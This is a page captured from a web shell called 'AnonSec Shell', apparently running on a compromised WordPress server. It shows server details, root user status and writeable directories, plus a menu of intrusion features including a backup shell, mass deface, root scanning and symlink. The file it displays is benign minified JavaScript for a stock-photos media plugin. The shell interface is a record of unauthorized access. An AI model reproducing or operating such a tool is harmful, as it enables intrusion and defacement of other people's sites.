AnonSec Shell
Server IP : 104.21.14.48  /  Your IP : 18.118.24.90   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/mu-plugins/vendor/wpex/stock-photos/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/mu-plugins/vendor/wpex/stock-photos/assets/js/stock-photos.min.js
!function s(i,a,n){function r(e,t){if(!a[e]){if(!i[e]){var o="function"==typeof require&&require;if(!t&&o)return o(e,!0);if(c)return c(e,!0);throw(t=new Error("Cannot find module '"+e+"'")).code="MODULE_NOT_FOUND",t}o=a[e]={exports:{}},i[e][0].call(o.exports,function(t){return r(i[e][1][t]||t)},o,o.exports,s,i,a,n)}return a[e].exports}for(var c="function"==typeof require&&require,t=0;t<n.length;t++)r(n[t]);return r}({1:[function(t,e,o){var n,r=wp.media.model.Query.extend({sync:function(t,e,o){var s;return(o=o||{}).context=this,o.data=_.extend(o.data||{},{action:"wpaas_stock_photos_get"}),-1!==(s=_.clone(this.args)).posts_per_page&&(s.paged=Math.round(this.length/s.posts_per_page)+1),o.data.query=s,wp.media.ajax(o)}},{get:(n=[],function(t,e){var o,s=r,i={},a=!!t.cache||_.isUndefined(t.cache);return delete t.query,delete t.cache,_.each(t,function(t,e){_.isNull(t)||(i[e]=t)}),_.defaults(i,s.defaultArgs),a?o=_.find(n,function(t){return _.isEqual(t.args,i)}):n=[],o||(o=new s([],_.extend(e||{},{props:t,args:i})),n.push(o)),o})});e.exports=r},{}],2:[function(t,e,o){var s=t("./stock-photos-query"),t=wp.media.model.Attachments.extend({initialize:function(t,e){wp.media.model.Attachments.prototype.initialize.call(this,t,e),this.StockPhotosProps=new Backbone.Model,this.StockPhotosProps.set("importing",!1),this.StockPhotosProps.set("previewing",!1)},_requery:function(t){var e;this.props.get("query")&&((e=this.props.toJSON()).cache=!0!==t,this.mirror(s.get(e)))}});e.exports=t},{"./stock-photos-query":1}],3:[function(t,e,o){var i=t("./models/stock-photos.js"),a=t("./views/browser/stock-photos.js"),n=t("./views/preview/stock-photo.js"),r=wp.media.view.MediaFrame.Select.prototype.bindHandlers,s=(wp.media.view.MediaFrame.Select.prototype.bindHandlers=function(){r.apply(this,arguments);var s=!1,e=(this.on("content:render:wpaas_stock_photos",function(){var t=this.state(),e=t.get("wpaas_stock_photos"),o=this.toolbar.mode();_.isUndefined(e)&&(e=new i(null,{props:{query:!0,category:"generic"}}),t.set("wpaas_stock_photos",e)),t=_.bind(function(){var t=e.StockPhotosProps.get("previewing");t?(this.content.set(new n({controller:this,collection:e,model:t})),this.$el.removeClass("hide-toolbar"),this.toolbar.mode("wpaas-stock-photos-preview")):(this.$el.addClass("hide-toolbar"),this.content.set(new a({controller:this,collection:e})),this.toolbar.mode(o))},this),s||this.listenTo(e.StockPhotosProps,"change:previewing",t),s=!0,t()},this),this.on("toolbar:create:wpaas-stock-photos-preview",this.createToolbar,this),this.on("toolbar:render:wpaas-stock-photos-preview",function(t){var e=this;t.set("import",{text:wpaas_stock_photos.import_btn,style:"primary",priority:80,click:function(){var t=e.state().get("wpaas_stock_photos").StockPhotosProps;t.set("importing",t.get("previewing").get("id")),t.set("previewing",!1)}})},this),!1);this.on("toolbar:render:select",function(t){e?t.set("select",_.clone(e)):e=_.extend({style:"primary",text:t.options.text},t.options.items.select)},this)},wp.media.view.MediaFrame.Select.prototype.browseRouter),c=(wp.media.view.MediaFrame.Select.prototype.browseRouter=function(t){s.apply(this,arguments),t.set({wpaas_stock_photos:{text:wpaas_stock_photos.menu_title,priority:30}})},wp.media.controller.Library.prototype.uploading);wp.media.controller.Library.prototype.uploading=function(){"wpaas_stock_photos"===this.frame.content.mode()&&this.frame.content.mode("browse"),c.apply(this,arguments)}},{"./models/stock-photos.js":2,"./views/browser/stock-photos.js":6,"./views/preview/stock-photo.js":8}],4:[function(t,e,o){var s=wp.media.view.Attachment.extend({events:{click:"previewImage"},initialize:function(){wp.media.view.Attachment.prototype.initialize.apply(this,arguments),this.listenTo(this.collection.StockPhotosProps,"change:importing",this.toggleState)},render:function(){wp.media.view.Attachment.prototype.render.apply(this,arguments);var t=jQuery(this.$el.wrapAll("<div>").parent().html());return t.find(".thumbnail").before('<a class="import" title="'+wpaas_stock_photos.preview_btn+'"></a><span class="spinner"></span>'),this.toggleState(),this.$el.html(t.html()),this},previewImage:function(t){t.preventDefault(),this.collection.StockPhotosProps.set("previewing",this.model)},downloadImage:function(){var t=this;wp.media.ajax({data:{action:"wpaas_stock_photos_download",filename:this.model.get("filename"),id:this.model.get("id"),nonce:this.model.get("nonces").download}}).done(function(t){var e=wp.media.frame.content.mode("browse");e.get("gallery").collection.add(t),e.get("selection").collection.add(t),wp.Uploader.queue.add(t),wp.Uploader.queue.remove(t),e.get("gallery").$("li:first .thumbnail").click()}).fail(function(){}).always(function(){t.collection.StockPhotosProps.set("importing",!1),t.collection.StockPhotosProps.set("is_importing",!1),t.toggleState(),t.$el.blur()})},toggleState:function(){var t=this.collection.StockPhotosProps,e=t.get("importing"),o=t.get("is_importing");e?(this.model.get("id")===e&&(this.$el.addClass("importing"),o||(this.downloadImage(e),t.set("is_importing",!0))),this.$el.addClass("inactive")):this.$el.removeClass("inactive importing")}});e.exports=s},{}],5:[function(t,e,o){var s=wp.media.view.AttachmentFilters.extend({initialize:function(){var t,e=this;wp.media.view.AttachmentFilters.prototype.initialize.apply(this,arguments),this.StockPhotosProps=arguments[0].StockPhotosProps,this.listenTo(this.StockPhotosProps,"change:importing",this.toggleState),this.toggleState(),_.isUndefined(wpaas_stock_photos.select2)&&(t=_.isUndefined(jQuery.fn.select2)?null:jQuery.fn.select2,jQuery("<link/>",{rel:"stylesheet",type:"text/css",href:"https://cdnjs.cloudflare.com/ajax/libs/select2/4.0.0/css/select2.min.css"}).appendTo("head"),jQuery.ajax({url:"https://cdnjs.cloudflare.com/ajax/libs/select2/4.0.0/js/select2.min.js",dataType:"script",success:function(){wpaas_stock_photos.select2=jQuery.fn.select2,jQuery.fn.select2=t,e.addSelect2()},async:!0}))},createFilters:function(){this.filters={};var o=this,s=10;_.each(wpaas_stock_photos.cat_choices,function(t,e){s+=10,o.filters["generic"===e?"all":e]={text:t,props:{category:e},priority:s}})},toggleState:function(){this.StockPhotosProps.get("importing")?this.$el.prop("disabled","disabled"):this.$el.removeProp("disabled")},ready:function(){_.isUndefined(wpaas_stock_photos.select2)||this.$el.data("select2")||this.addSelect2()},addSelect2:function(){wpaas_stock_photos.select2.call(this.$el);var o=this.$el,t=o.data("select2");t.$container.addClass("wpaas-stock-photos"),t.$dropdown.addClass("wpaas-stock-photos"),t.options.options.translations.dict.noResults=function(){return wpaas_stock_photos.no_results_filter},o.on("select2:open",function(){jQuery(document.body).off("mousedown.select2.select2-"+o.attr("id")),jQuery(document.body).on("mousedown.select2.select2-"+o.attr("id"),function(t){var e=jQuery(t.target).closest(".select2");jQuery(".select2.select2-container--open").each(function(){this!=e[0]&&wpaas_stock_photos.select2.call(o,"close")})})})}});e.exports=s},{}],6:[function(t,e,o){var s=t("./stock-photos-filter.js"),i=t("./stock-photo.js"),t=wp.media.view.Frame.extend({tagName:"div",className:"wpaas-stock-photos attachments-browser",initialize:function(){this.createToolbar(),this.createAttachments(),this.updateContent(),this.listenTo(this.collection,"add remove reset",_.bind(this.updateContent,this))},createToolbar:function(){var t={controller:this.controller};this.toolbar=new wp.media.view.Toolbar(t),this.views.add(this.toolbar),this.toolbar.set("spinner",new wp.media.view.Spinner({priority:-60})),this.toolbar.set("filtersLabel",new wp.media.view.Label({value:wpaas_stock_photos.filter_label,attributes:{for:"media-attachment-filters"},priority:-80}).render()),this.toolbar.set("filters",new s({controller:this.controller,model:this.collection.props,StockPhotosProps:this.collection.StockPhotosProps,priority:-80}).render())},createAttachments:function(){this.attachments=new wp.media.view.Attachments({controller:this.controller,collection:this.collection,AttachmentView:i}),this.views.add(this.attachments),this.attachmentsNoResults=new wp.media.View({controller:this.controller,tagName:"div",className:"uploader-inline"}),this.attachmentsNoResults.$el.addClass("hidden"),this.attachmentsNoResults.$el.html('<div class="uploader-inline-content has-upload-message"><h2 class="upload-message">'+wpaas_stock_photos.no_images+"</h2></div>"),this.views.add(this.attachmentsNoResults)},updateContent:function(){var t=this;this.toolbar.get("spinner").show(),this.collection.length?(t.attachmentsNoResults.$el.addClass("hidden"),t.toolbar.get("spinner").hide()):this.collection.more().always(function(){t.collection.length?t.attachmentsNoResults.$el.addClass("hidden"):t.attachmentsNoResults.$el.removeClass("hidden"),t.toolbar.get("spinner").hide()})}});e.exports=t},{"./stock-photo.js":4,"./stock-photos-filter.js":5}],7:[function(t,e,o){var s=wp.media.View.extend({tagName:"h2",className:"backBtn",events:{click:"goBack"},initialize:function(){this.addEventListener()},render:function(){return this.$el.text(wpaas_stock_photos.back_btn),this},goBack:function(){this.unbind(),this.remove(),this.trigger("close"),this.collection.StockPhotosProps.get("previewing")&&this.collection.StockPhotosProps.set("previewing",!1)},addEventListener:function(){function e(t){jQuery(".media-menu-item").length?t():setTimeout(function(){e(t)},100)}var o=this;e(function(){jQuery(".media-menu-item").one("click",function(t){o.goBack(),jQuery("#menu-item-wpaas_stock_photos").click(),jQuery(t.target).click()})})}});e.exports=s},{}],8:[function(t,e,o){var s=t("./back-btn.js"),t=wp.media.view.Frame.extend({tagName:"div",className:"wpaas-stock-photos stock-photo-preview",events:{"click a.license-details":"showLicenseDetails"},initialize:function(){this.createToolbar(),this.createAttachmentPreview()},createToolbar:function(){var t={controller:this.controller},t=(this.toolbar=new wp.media.view.Toolbar(t),this.views.add(this.toolbar),new s({controller:this,collection:this.collection,priority:-80}));this.listenToOnce(t,"close",this.close),this.toolbar.set("backBtn",t)},createAttachmentPreview:function(){this.attachmentPreview=new wp.media.View({controller:this.controller,tagName:"div",className:"stock-photo-image-preview"}),this.attachmentPreview.$el.html('<img src="'+this.model.get("sizes").preview.url+'"><a href="#" class="license-details">'+wpaas_stock_photos.license_text+"</a>"),this.views.add(this.attachmentPreview)},showLicenseDetails:function(t){t.preventDefault(),this.$el.find("a.license-details").replaceWith('<p class="license-details">'+wpaas_stock_photos.license_details+"</p>")},close:function(){this.unbind(),this.remove()}});e.exports=t},{"./back-btn.js":7}]},{},[3]);

Anon7 - 2022
AnonSec Team